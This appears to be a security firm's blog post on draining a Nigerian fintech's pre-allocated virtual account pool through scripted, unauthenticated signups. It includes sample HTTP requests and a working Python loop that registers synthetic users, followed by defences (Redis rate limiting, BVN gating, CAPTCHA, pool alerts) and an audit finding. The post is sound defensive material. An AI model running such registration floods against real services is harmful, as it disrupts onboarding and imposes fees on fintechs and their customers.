How Nigerian BaaS virtual account generation works

To enable instant peer-to-peer deposits, Nigerian fintechs integrate with Banking-as-a-Service (BaaS) partner banks like Providus Bank and Wema Bank. When a customer registers on a digital bank or wallet, the fintech backend requests a dedicated account number from the partner bank. This is typically done via a backend API call to an endpoint like POST /virtual-accounts.

The partner bank maps a unique ten-digit account number to the fintech's settlement account. This number is routed through the Nigeria Inter-Bank Settlement System (NIBSS) for interbank transfers. Partner banks do not generate these numbers infinitely on the fly. Instead, NIBSS assigns a dedicated bin range to the bank for that specific fintech. The bank then pulls from this pre-allocated pool to satisfy the fintech's creation requests. If your allocated pool contains 10,000 accounts, the bank cannot assign the 10,001st account without manual replenishment and prefix authorization from NIBSS.

The attack: Automating virtual account drain

The vulnerability lies in exposing the account generation trigger on unauthenticated endpoints. When a fintech triggers account creation during the initial signup step, an attacker can automate registration requests. An attacker intercepts the signup flow to identify the backend endpoints. This is usually a request to POST /api/v1/auth/register or POST /api/v1/wallets/create.

An attacker writes a script to call this endpoint repeatedly. They populate the payloads with synthetic details. Because there is no validation on these inputs at the early stage, the application accepts the registration and calls the partner bank API in the background. With every successful registration request, the partner bank assigns one virtual account from the fintech's pool.

This attack leads to two distinct failures:

Here is an example payload sent by the attacker to the unauthenticated registration endpoint:

POST /api/v1/auth/register HTTP/1.1
Host: api.fintechapp.ng
Content-Type: application/json

{
  "first_name": "Tunde",
  "last_name": "Adewale",
  "phone": "+2348039990001",
  "email": "attacker+1@domain.com",
  "password": "Password123!"
}

The vulnerable backend receives the payload and immediately fires a request to Wema or Providus:

POST /api/v1/providus/virtual-account HTTP/1.1
Host: partnerbank.com
Authorization: Bearer [Fintech_Secret_Key]
Content-Type: application/json

{
  "account_name": "Tunde Adewale Simpa",
  "bvn": "",
  "bvn_phone": "",
  "tracking_reference": "ref-992019281-01"
}

The attack script concept

To exploit this flaw, an attacker does not need sophisticated malware. They use a simple Python script with a single HTTP library. The script runs a loop that generates fake phone numbers and emails to register accounts in rapid succession. This triggers a cascade of backend calls to the partner bank's allocation endpoints.

Below is an example of an attack script that demonstrates how an unrated registration flow is abused:

import time
import requests

TARGET_URL = "https://api.fintechapp.ng/api/v1/auth/register"

def run_attack():
    session = requests.Session()
    for index in range(1000):
        # Construct synthetic user details to bypass basic unique checks
        payload = {
            "first_name": "Synthetic",
            "last_name": f"User{index}",
            "phone": f"+234809{index:07d}",
            "email": f"synthetic.user.{index}@simpalabs-test.com",
            "password": "SecurePassword123!"
        }
        try:
            response = session.post(TARGET_URL, json=payload, timeout=5)
            print(f"Request {index}: HTTP {response.status_code}")
        except requests.RequestException as error:
            print(f"Request {index} failed: {error}")
        
        # Minimal delay to bypass simple threshold checks
        time.sleep(0.05)

if __name__ == "__main__":
    run_attack()

Because the script does not check for validation emails or OTPs, it executes asynchronously from the client side. The target server process completes the signup and calls the bank API before requiring email confirmation. This leaves the virtual account generated and the bank fees incurred.

Why this is worse than standard DoS

Standard Denial of Service (DoS) attacks flood your network interface or overwhelm server CPU. These events trigger automatic cloud defenses like Cloudflare or AWS Shield. The security team detects the spike immediately because traffic charts spike and servers crash. They can block the attack by throttling the network layer.

This resource exhaustion attack is logic-based. The attacker sends low-volume requests that mimic legitimate signup traffic. Every request returns a 200 OK or 201 Created status code. No servers crash, and CPU metrics remain within normal operating ranges. The frontend app shows no signs of failure. The damage occurs silently in the downstream bank interface.

A fintech's application server continues to function. However, the pre-allocated virtual account pool is drained. Because monitoring tools are usually configured to check frontend uptime and database connectivity, this backend exhaustion remains invisible. Many engineering teams only find out when customer support receives hundreds of complaints from new users unable to fund their wallets.

Business impact: Direct costs and regulatory exposure

The fallout from pool exhaustion extends beyond user friction. It causes immediate financial and compliance problems for a growing fintech. The most immediate impact is the disruption of user acquisition. If you launch a marketing campaign, an unmitigated attack can freeze registrations. This makes your marketing spend useless and drives users to competitors.

There are also regulatory and penalty risks:

The fix: Hardening the onboarding architecture

To secure your virtual account pool, you must implement defenses at the application layer before any requests hit Wema or Providus. Relying on bank-side rate limits is insufficient. You need to enforce controls inside your backend services.

1. Gate account creation behind BVN verification

Do not generate a virtual account immediately at signup. A user must complete identity verification first. Require a BVN lookup via a verification provider like Dojah or Smile Identity before triggering the bank API. By charging a small fee or requiring verification, you prevent attackers from using cheap synthetic data. BVN matching makes automated generation expensive for attackers.

2. Enforce IP and fingerprint rate limiting

Rate limit the account generation endpoint based on IP address and device fingerprint. Unauthenticated signup routes must restrict the speed of registration. Use a sliding window rate limiter backed by Redis to track requests.

Here is a production-ready sliding window rate limiter in TypeScript using Redis:

import { Redis } from "ioredis";

const redis = new Redis(process.env.REDIS_URL || "redis://localhost:6379");

interface RateLimitResponse {
  allowed: boolean;
  remaining: number;
}

export async function isRateLimited(
  identifier: string,
  limit: number,
  windowSeconds: number
): Promise<RateLimitResponse> {
  const now = Date.now();
  const windowStart = now - (windowSeconds * 1000);
  const key = `ratelimit:account_gen:${identifier}`;

  const pipeline = redis.multi();
  // Remove logs older than the current window
  pipeline.zremrangebyscore(key, 0, windowStart);
  // Add the current request timestamp as score and member
  pipeline.zadd(key, now, `${now}-${Math.random()}`);
  // Retrieve total count of requests within the window
  pipeline.zcard(key);
  // Set TTL to clear inactive keys
  pipeline.expire(key, windowSeconds + 10);

  const results = await pipeline.exec();
  if (!results) {
    return { allowed: false, remaining: 0 };
  }

  // Fetch count from the ZCARD command result
  const requestCount = results[2][1] as number;
  const allowed = requestCount <= limit;
  const remaining = Math.max(0, limit - requestCount);

  return { allowed, remaining };
}

3. Alert on pool utilization thresholds

Do not let your virtual account pool empty completely. Set up background cron jobs to check your available inventory daily. Send alerts to your engineering channel (via Slack or Teams webhooks) when pool usage crosses 70%. This gives you a buffer to request additional ranges from your partner bank before a total outage occurs.

4. Add verification challenges to registration

Use Turnstile or a similar CAPTCHA solution on your registration screens. Alternatively, run a proof-of-work cryptographic challenge in the client browser during registration. A client browser must solve a hashing puzzle before the backend accepts the payload. This raises the CPU cost for attackers and makes running rapid headless loops impractical.

5. Monitor for rapid registration patterns

Monitor your authentication endpoints for burst patterns. If you detect more than 5 registration attempts from the same IP address or device fingerprint within 60 seconds, block that client. Log the event and alert your security team immediately.

Manual review is the only way to catch pool exhaustion

Automated security scanners only check if your endpoints return a successful HTTP status code or look for common signatures like SQL injection. They cannot detect that calling an onboarding flow 1,000 times exhausts your allocated bank pools or incurs costly transactional fees, which is why a manual security review remains the only way to identify these logic flaws.

Example finding

Virtual Account Pool Exhaustion via Automated Registration

During an API security review for a Nigerian fintech, we identified that the registration flow had no rate limits or identity verification gates. Using a simple Python script, we generated 847 virtual accounts within 11 minutes. The requests drained account numbers from a pre-allocated pool of 1,000 Providus Bank accounts. The client's onboarding process would have completely failed for all new users within two minutes of a sustained attack. We rated this finding as High priority and recommended implementing Redis rate limiting and BVN verification gates.

Is your virtual account pool protected against automated drain attacks?

Get a security review

Frequently asked questions

Does Providus or Wema have server-side rate limits?

Both banks apply overall API rate limits but they are set at the fintech level, not per end-user request. If your integration key calls the API 1,000 times quickly, that counts as the fintech calling — not individual attackers.

Can we generate virtual accounts on-demand vs. pre-allocating?

On-demand is the right pattern but it requires tighter application-layer rate limiting, not less. Pre-allocated pools reduce bank API calls but introduce the exhaustion vector.

What KYC gate is most effective?

Completing BVN verification before triggering virtual account generation eliminates synthetic identity attacks. BVN lookup is the cheapest gate you can put in front of the bank API call.

Related reading

Blog: KYC & BVN Data Security · Rate Limiting and Anti-Fraud Patterns

Services & Industries: API security testing · Mobile Money Security